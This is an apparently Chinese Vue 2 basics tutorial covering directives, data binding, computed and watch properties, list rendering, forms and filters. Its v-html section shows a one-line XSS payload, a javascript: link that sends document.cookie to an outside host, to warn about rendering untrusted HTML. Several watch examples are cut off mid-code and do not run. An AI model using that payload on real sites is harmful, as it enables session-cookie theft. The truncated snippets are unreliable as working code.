【Vue】Vue 基础知识
1.1 初识Vue
在使用vue之前需要引入vue,这里的引入包括两种方式
-
网络引入
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
-
文件引入 将js文件下载到本地,通过相对路径将其引入到工程之中
引入js文件之后,就可以使用vue了,不过想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象,而且一个vue对象只针对一个div对象,一对一的关系,如下:
<div id="app">
{{ message }}
</div>
<script type="text/javascript" >
var app = new Vue({
el: '#app',
data: {
message: 'Hello Vue!'
}
})
</script>
一个简单的vue示例就创建了
1.2 模板语法
vue中的模板语法有两大类,分别是插值语法和指令语法
-
插值语法 作用:解析标签体内容 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。 -
指令语法 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)。 举例:v-bind:href=“xxx” 或 简写为 :href=“xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性。
示例:
<div id="root">
<h1>插值语法</h1>
<h3>你好,{{name}}</h3>
<hr/>
<h1>指令语法</h1>
<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'zhangsan',
school:{
name:'学校',
url:'http://www.baidu.com',
}
}
})
</script>
1.3 数据绑定
vue中存在两种数据绑定方式,单向绑定和双向绑定
-
单向绑定(v-bind): 数据只能从data流向页面。 -
双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。 双向绑定一般都应用在表单类元素上(如:input、select等) v-model:value 可以简写为 v-model,因为v-model默认收集的是value值。
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name"><br/>
双向数据绑定:<input type="text" v-model:value="name"><br/>
单向数据绑定:<input type="text" :value="name"><br/>
双向数据绑定:<input type="text" v-model="name"><br/>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'值得拥有姓名'
}
})
</script>
1.4 事件处理
1.4.1 点击事件
事件的基本使用:
? 1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
? 2.事件的回调需要配置在methods对象中,最终会在vue对象上;
? 3.methods中配置的函数,不要用箭头函数!否则this就不是vue对象了;
? 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vue对象 或 组件实例对象;
? 5.@click=“demo” 和 @click=“demo($event)” 效果一致,但后者可以传参;
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<button v-on:click="showInfo">点我提示信息</button>
<button @click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2(66)">点我提示信息2(传参)</button>
<button @click="showInfo3($event,66)">点我提示信息3(传参)</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
},
methods:{
showInfo(){
alert('同学你好!')
},
showInfo1(event){
console.log(event)
alert('同学你好!')
},
showInfo2(event){
console.log(event)
alert('同学你好!!')
},
showInfo3(event,number){
console.log(event,number)
alert('同学你好!!')
}
}
})
</script>
1.4.2 事件修饰符
-
阻止事件默认行为 阻止事件默认行为的方式有两种 第一种:在调用方法的过程中,使用event对象,调用event对象的preventDefault(); 方法 第二种:在方法事件的后面加prevent 后缀 -
阻止事件冒泡 阻止事件冒泡行为的方式有两种 第一种:在调用方法的过程中,使用event对象,调用event对象的stopPropagation(); 方法 第二种:在方法事件的后面加stop 后缀 -
阻止事件二次触发 事件只触发一次,第二次出发的时候,事件无效 在方法事件的后面加once 后缀
<div id="root">
<a href="http://www.baidu.com" @click="showInfo">点我提示信息</a>
<a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
<button @click.stop.prevent="showInfo">点我提示信息</button>
</div>
<button @click.once="showInfo">点我提示信息</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
methods:{
showInfo(e){
alert('Hello World')
}
}
})
</script>
1.4.3 键盘事件
键盘事件一般和keydown或者keyup绑定在一起使用
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
<input type="text" placeholder="按下回车提示输入" @keydown.Enter="showInfo">
<input type="text" placeholder="按下回车提示输入" @keydown.13="showInfo">
<input type="text" placeholder="按下回车提示输入" @keydown.ctrl.y="showInfo">
</div>
在vue中,定义了常用的9个按键的别名
-
Vue中常用的按键别名: 回车 => enter 删除 => delete (捕获“删除”和“退格”键) 退出 => esc 空格 => space 换行 => tab (特殊,必须配合keydown去使用) 上 => up 下 => down 左 => left 右 => right -
Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名) -
系统修饰键(用法特殊):ctrl、alt、shift、meta
? (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
? (2).配合keydown使用:正常触发事件。
- 也可以使用keyCode去指定具体的按键(不推荐)
- Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
<script type="text/javascript">
Vue.config.productionTip = false
Vue.config.keyCodes.huiche = 13
new Vue({
el:'#root',
data:{
name:'vue'
},
methods: {
showInfo(e){
console.log(e.target.value)
}
},
})
</script>
1.5 计算属性
如何实现数据的计算,现在有一个需求,页面上有两个输入框,分别输入姓和名,最后在下方实现姓名的拼接
如图:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mJsaUQ83-1640182791133)(C:/Users/Apricity/AppData/Roaming/Typora/typora-user-images/image-20211211164044360.png)]
1.5.1 插值输入
这种方式是最简单的方式,完全可以实现效果,但是如果需要对全名进行一定的和函数运算的时候,这种情况其实对代码观看是不友好的
<div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{firstName}}-{{lastName}}</span></div><script type="text/javascript"> new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' } })</script>
1.5.2 方法实现
<body>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName()}}</span>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
methods: {
fullName(){
return this.firstName + '-' + this.lastName
}
},
})
</script>
页面读取的时候,运行fullName()方法,可以获得数据,但是当页面多次获取数据的时候,方法会被多次调用
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SaWWJTOm-1640182791134)(C:/Users/Apricity/AppData/Roaming/Typora/typora-user-images/image-20211211164534021.png)]
1.5.3 计算属性
-
定义:要用的属性不存在,要通过已有属性计算得来。 -
原理:底层借助了Objcet.defineproperty方法提供的getter和setter。 -
数据什么时候进行读取
- 初次读取时会执行一次。
- 当依赖的数据发生改变时会被再次调用。
-
优势: 与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。 -
修改计算属性 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
计算属性示例:
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
},
computed:{
fullName:{
get(){
return this.firstName + '-' + this.lastName
},
set(value){
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
}
}
})
</script>
如果计算属性的数据只需要提供getter方法,可以使用如下的简写方式
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
},
computed:{
fullName(){
return this.firstName + '-' + this.lastName
}
}
})
</script>
1.6 监视属性
1.6.1 普通监视
功能:监视vue中的某一个属性变化
特点:
-
当被监视的属性变化时, 回调函数自动调用, 进行相关操作 -
监视的属性必须存在,才能进行监视!! -
监视的两种写法:
- new Vue时传入watch配置
- 通过vm.$watch监视
<div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button></div><script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ isHot:{</script>
1.6.2 深度监视
当data中存在多层次数据的时候,比如如下格式的数据,会导致无法监视到深层数据,因为vue的监视属性默认不开启对深层数据的监视
data:{ isHot:true, numbers:{ a:1, b:1, c:{ d:{ e:100 } } }}
如果需要开启对深层数据的监视:
<script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ isHot:true, numbers:{ a:1, b:1, c:{ d:{ e:100 } } } }, watch:{ </script>
1.6.3 监视简写
<body>
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
isHot:true,
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
watch:{
isHot:{
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
},
isHot(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this)
}
}
})
vm.$watch('isHot',{
immediate:true,
deep:true,
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
})
vm.$watch('isHot',function(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this)
})
</script>
1.6.4 深度监视VS计算属性
实现数据监听
-
使用监视属性 <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/></div><script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', fullName:'张-三' }, watch:{ firstName(val){</script>
-
使用计算属性 <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/></div><script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, computed:{ fullName(){ return this.firstName + '-' + this.lastName } } })</script>
-
初步对比
上述两种方式都可以实现对数据的监视,但是相对来说,使用计算属性可以更见间接、高效的完成需求,这个时候使用计算属性是比使用监视属性要好的,但是所有的时候都可以使用计算属性来替代监视属性吗?
-
异步调用 <script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
fullName:'张-三'
},
watch:{
firstName(val){
setTimeout(()=>{
console.log(this)
this.fullName = val + '-' + this.lastName
},1000);
},
lastName(val){
this.fullName = this.firstName + '-' + val
}
}
})
</script>
-
二次总结
- 计算属性和监视属性都可以完成对数据的监视,不过计算属性更合适
- 监视属性可以实现异步调用,计算属性不可以
1.7 绑定样式
<div id="root">
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
<div class="basic" :class="classArr">{{name}}</div> <br/><br/>
<div class="basic" :class="classObj">{{name}}</div> <br/><br/>
<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
<div class="basic" :style="styleArr">{{name}}</div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
mood:'normal',
classArr:['atguigu1','atguigu2','atguigu3'],
classObj:{
atguigu1:false,
atguigu2:false,
},
styleObj:{
fontSize: '40px',
color:'red',
},
styleObj2:{
backgroundColor:'orange'
},
styleArr:[
{
fontSize: '40px',
color:'blue',
},
{
backgroundColor:'gray'
}
]
},
methods: {
changeMood(){
const arr = ['happy','sad','normal']
const index = Math.floor(Math.random()*3)
this.mood = arr[index]
}
},
})
</script>
绑定样式:
-
class样式 写法:class=“xxx” xxx可以是字符串、对象、数组。 ? 字符串写法适用于:类名不确定,要动态获取。 ? 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。 ? 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。 -
style样式 :style="{fontSize: xxx}"其中xxx是动态值。 :style="[a,b]"其中a、b是样式对象。
1.8 条件渲染
-
v-if条件渲染
-
写法 v-if=“表达式” v-else-if=“表达式” v-else=“表达式” -
适用场景 切换频率较低。 -
特点 不展示的DOM元素直接被移除 -
注意点 v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”
-
v-show条件渲染
-
写法 v-show=“表达式” -
适用于 切换频率较高的场景 -
特点 不展示的DOM元素未被移除,仅仅是使用样式隐藏掉,调用底层的display none实现
-
注意点 当使用v-if的时候,元素可能无法获取,因为已经被移除
<div id="root"> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> <h2 v-show="true">固定值:{{name}} </h2> <h2 v-show="1 === 1">表达式:{{name}} </h2> <h2 v-show="a">变量值:{{name}} </h2> <h2 v-show="judge()">方法:{{name}}</h2> <hr/> <h2 v-if="true">固定值:{{name}} </h2> <h2 v-if="1 === 1">表达式:{{name}} </h2> <h2 v-if="a">变量值:{{name}} </h2> <h2 v-if="judge()">方法:{{name}}</h2> <div v-if="n === 1">Angular</div> <div v-else-if="n === 2">React</div> <div v-else-if="n === 3">Vue</div> <div v-else>哈哈</div> <template v-if="n === 1"> <h2>你好</h2> <h2>尚硅谷</h2> <h2>北京</h2> </template></div></body><script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'hello vue', n:0, a:true }, methods: { judge(){ return true } }, })</script>
1.9 列表渲染
1.9.1 基本使用
使用v-for 指令实现列表的渲染
v-for指令:
- 用于展示列表数据
- 语法:v-for="(item, index) in xxx" :key=“yyy”
- 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<div id="root">
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">
{{k}}-{{value}}
</li>
</ul>
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
car:{
name:'奥迪A8',
price:'70万',
color:'黑色'
},
str:'hello'
}
})
</script>
1.9.2 Vue中的key的原理
-
虚拟DOM中key的作用: key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下: -
对比规则:
-
旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM!
- 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
-
旧虚拟DOM中未找到与新虚拟DOM相同的key
-
用index作为key可能会引发的问题:
-
若对数据进行:逆序添加、逆序删除等破坏顺序操作: 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。 -
如果结构中还包含输入类的DOM: 会产生错误DOM更新 ==> 界面有问题。 -
开发中如何选择key?:
- 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
测试代码:
<div id="root"> <button @click.once="add">添加一个用户</button> <ul> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul></div><script type="text/javascript"> new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ] }, methods: { add(){ const p = {id:'004',name:'赵六',age:21} this.persons.unshift(p) } }, })</script>
1.9.3 列表过滤
列表过滤
- 监视数据条件的变化
- 实现列表数据的渲染
监视数据变化有两种方式:1、计算属性;2、侦听属性
-
计算属性 <div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPerons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
keyWord:'',
persons:[
{id:'001',name:'马冬梅',age:19,sex:'女'},
{id:'002',name:'周冬雨',age:20,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'男'}
]
},
computed:{
filPerons(){
return this.persons.filter((p)=>{
return p.name.indexOf(this.keyWord) !== -1
})
}
}
})
</script>
-
侦听属性 <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) of filPerons" :key="index"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul></div><script type="text/javascript"> new Vue({ el:'#root', data:{ keyWord:'', persons:[ {id:'001',name:'马冬梅',age:19,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ], filPerons:[] }, watch:{ keyWord:{ </script>
1.9.4 列表排序
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) of filPerons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
<input type="text">
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
keyWord:'',
sortType:0,
persons:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:18,sex:'男'},
{id:'004',name:'温兆伦',age:19,sex:'男'}
]
},
computed:{
filPerons(){
const arr = this.persons.filter((p)=>{
return p.name.indexOf(this.keyWord) !== -1
})
if(this.sortType){
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
})
}
return arr
}
}
})
</script>
1.10 表单管理
-
<input type="text"/> 则v-model收集的是value值,用户输入的就是value值。 -
<input type="radio"/> 则v-model收集的是value值,且要给标签配置value值。 -
<input type="checkbox"/>
- 没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
- 配置input的value属性:
- v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
- v-model的初始值是数组,那么收集的的就是value组成的数组
v-model的三个修饰符:
- lazy:失去焦点再收集数据
- number:输入字符串转为有效的数字
- trim:输入首尾空格过滤
<div id="root">
<form @submit.prevent="demo">
<label for="account">账号:</label>
<input type="text" v-model.trim="userInfo.account" id="account"> <br/><br/>
<label for="password">密码:</label>.
<input type="password" v-model="userInfo.password" id="password"> <br/><br/>
<label for="age">年龄:</label>
<input type="number" v-model.number="userInfo.age" id="age"> <br/><br/>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:false
}
},
methods: {
demo(){
if(this.userInfo.agree===false){
alert("请勾选同意按钮")
}
else{
console.log(JSON.stringify(this.userInfo))
}
}
}
})
</script>
1.11 过滤器
对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
示例:事件格式化,前提(引入dayjs.min.js 文件)
语法:
-
注册过滤器 Vue.filter(name,callback) 或 new Vue{filters:{}} -
使用过滤器 {{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名” -
注意点
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据, 是产生新的对应的数据
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<h3>现在是:{{fmtTime}}</h3>
<h3>现在是:{{getFmtTime()}}</h3>
<h3>现在是:{{time | timeFormater}}</h3>
<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
<h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//全局过滤器,每次只可以设置一个
Vue.filter('mySlice',function(value){
//字符串截取
return value.slice(0,4)
})
new Vue({
el:'#root',
data:{
time:new Date(), //时间戳
msg:'你好,尚硅谷'
},
// 计算属性实现
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
// 方法实现
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
//局部过滤器,只能在vm对象内部使用
filters:{
timeFormater:function(value,str='YYYY年MM月DD日 HH:mm:ss'){
//简写形式
//timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
return dayjs(value).format(str)
}
}
})
new Vue({
el:'#root2',
data:{
msg:'hello,atguigu!'
}
})
1.12 内置指令
1.12.1 v-text
v-text指令:
- 作用:向其所在的节点中渲染文本内容。
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<div id="root">
<div v-text="name"></div>
<div v-text="name">测试输入</div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'覆盖输入',
str:'<h3>你好啊!</h3>'
}
})
</script>
效果如图:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MSeuFaxw-1640182791135)(C:/Users/Apricity/AppData/Roaming/Typora/typora-user-images/image-20211221222327570.png)]
1.12.2 v-html
-
作用 向指定节点中渲染包含html结构的内容。 -
与插值语法{{}}的区别
- v-html会替换掉节点中所有的内容,{{xx}}则不会。
- v-html可以识别html结构。
-
v-html有安全性问题
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
- 一定要在可信的内容上使用v-html
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str">aaa</div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>恶意链接</a>',
}
})
</script>
1.12.3 v-once
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<button @click.once="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
1.12.4 v-pre
- 跳过其所在节点的编译过程。
- 可利用它跳过没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
|